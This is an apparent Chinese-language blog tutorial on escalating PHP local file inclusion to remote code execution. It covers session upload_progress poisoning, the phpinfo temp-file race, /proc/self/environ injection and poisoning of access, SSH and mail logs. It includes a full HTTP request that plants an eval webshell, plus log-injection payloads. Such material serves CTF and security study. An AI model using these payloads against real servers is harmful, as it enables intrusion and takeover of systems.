LFI2RCE

最近遇到了比较多的通过 LFI 提到 RCE 的漏洞利用方法。尤其是在遇到有 phpinfo 的情况下,这里做一个简单的总结与介绍。

LFI

  • 利用 session upload_progress
  • 利用上传临时文件窗口期
  • 利用环境变量
  • 利用日志

总的来说,一般可以用 session 包含的方式尽量避免用 tmp 竞争的方式…血的教训…

session upload_progress

条件:开启session.upload_progress.enabled,session 文件路径已知,且其中内容部分可控。

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时 POST 一个与 INI 中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当 PHP 检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。

常见的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

我们可以构造一个上传界面

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>

<body>
    <form action="http://zedd.cc/" method="POST" enctype="multipart/form-data">
        <input type="file" name="file1" />
        <input type="file" name="file2" />
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    </form>
</body>

</html>

发送以下的 HTTP 请求

POST /?file=/tmp/php/sess_a HTTP/1.1
Host: xxx.cc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://zedd.cc/upload.php
Content-Type: multipart/form-data; boundary=---------------------------695725616119701971467121808
Content-Length: 703
Connection: close
Cookie: PHPSESSID=a
Upgrade-Insecure-Requests: 1

-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="file1"; filename="1.txt"
Content-Type: text/php

1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="file2"; filename="2.txt"
Content-Type: application/octet-stream

1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="submit"

Submit
-----------------------------695725616119701971467121808--

但是因为 PHP session 会话机制的关系,仅仅一次包含得到的sess_a文件为空,所以我们需要竞争包含,使用 burp intruder 等形式都可以。

大概30次可以成功7次左右,可以看到包含文件回显,但是看不到具体的文件内容,因为有部分 php 代码被解析了,所以我们可以使用tail -f监测sess_a的文件变化查看文件内容,可以看到内容如下:

upload_progress_<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>|a:5:{s:10:"start_time";i:1559816745;s:14:"content_length";i:690;s:15:"bytes_processed";i:690;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1559816745;s:15:"bytes_processed";i:0;}}}

可以发现其中有 php 代码,所以当我们使用include包含该文件的时候会执行该文件当中的 php 代码,让其执行。

tmp

条件:tmp 文件路径已知

php中上传文件,会创建临时文件。一般默认 php tmp 目录在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

如果存在phpinfo()界面即可配合phpinfo()界面的回显来利用,例如向phpinfo()界面上传一个文件,可以得到文件名的回显,再利用一些方法阻塞服务器的操作就可以进行包含了

具体流程如下:

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

可以参考脚本exp.py

environ

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

在某些环境中,如果存在读取/proc/self/environ的权限,可以检查是否环境变量存在有与 HTTP 环境有关的变量,例如HTTP_USER_AGENT等等

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

类似地,/proc/self/fd/id(或它的符号链接:/dev/fd)可以与 HTTP Referer 字段结合使用,以通过 apache2 将 payload 注入打开的错误日志中。 但是要确定当前进程的文件描述符。

log

access log

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

很多时候,web服务器会将请求写入到日志文件中,比如说 apache 。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

ssh log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

用ssh连接:

ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在 remotehost 的 ssh log 中即可写入php代码

mail log

如果服务器存在邮件服务,则可以通过邮件发送 payload ,并在/var/log/<user>下包含相关日志(每个其他用户都有自己的文件)。

mail -s "<?=phpinfo();?>" www-data@victim.com < /dev/null
---
GET vulnerable.php?filename=../../../var/log/www-data HTTP/1.1

Reference

PHP Sessions的妙用之 将 LFI 转换为 RCE

php文件包含漏洞)

CVV #1: Local File Inclusion

浅谈端口扫描技术 2019强网杯部分Web wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×